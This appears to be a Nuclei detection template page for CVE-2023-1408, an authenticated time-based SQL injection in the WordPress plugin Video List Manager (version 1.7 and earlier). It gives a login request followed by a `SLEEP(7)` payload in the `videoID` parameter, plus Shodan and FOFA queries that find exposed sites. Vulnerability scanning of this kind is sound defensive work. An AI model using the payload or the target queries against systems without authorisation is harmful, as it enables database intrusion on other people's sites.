Video List Manager <= 1.7 - SQL Injection

ID: CVE-2023-1408

Severity: high

Author: r3Y3r53

Tags: time-based-sqli,cve,cve2023,wpscan,sqli,wordpress,wp-plugin,wp,authenticated,video_list_manager_project

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.

YAML Source

id: CVE-2023-1408

info:
  name: Video List Manager <= 1.7 - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.
  reference:
    - https://wpscan.com/vulnerability/baf7ef4d-b2ba-48e0-9c17-74fa27e0c15b
    - https://wordpress.org/plugins/video-list-manager/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1408
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2023-1408
    cwe-id: CWE-89
    epss-score: 0.01339
    epss-percentile: 0.84615
    cpe: cpe:2.3:a:video_list_manager_project:video_list_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: video_list_manager_project
    product: video_list_manager
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/video-list-manager/
    fofa-query: body=/wp-content/plugins/video-list-manager/
    publicwww-query: /wp-content/plugins/video-list-manager/
  tags: time-based-sqli,cve,cve2023,wpscan,sqli,wordpress,wp-plugin,wp,authenticated,video_list_manager_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        @timeout: 15s
        GET /wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP(7) HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains_all(body_2, "Edit Video","Youtube</option>")'
        condition: and
# digest: 4a0a0047304502203033b0b10753a331f4ac3f36d853d07ade0649e60606df8069a3e13d5c5983d0022100841af5121319ea359e8a65f7f1a624ef802d16dcf6fa4c51463e68b872741309:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-1408.yaml"

View on Github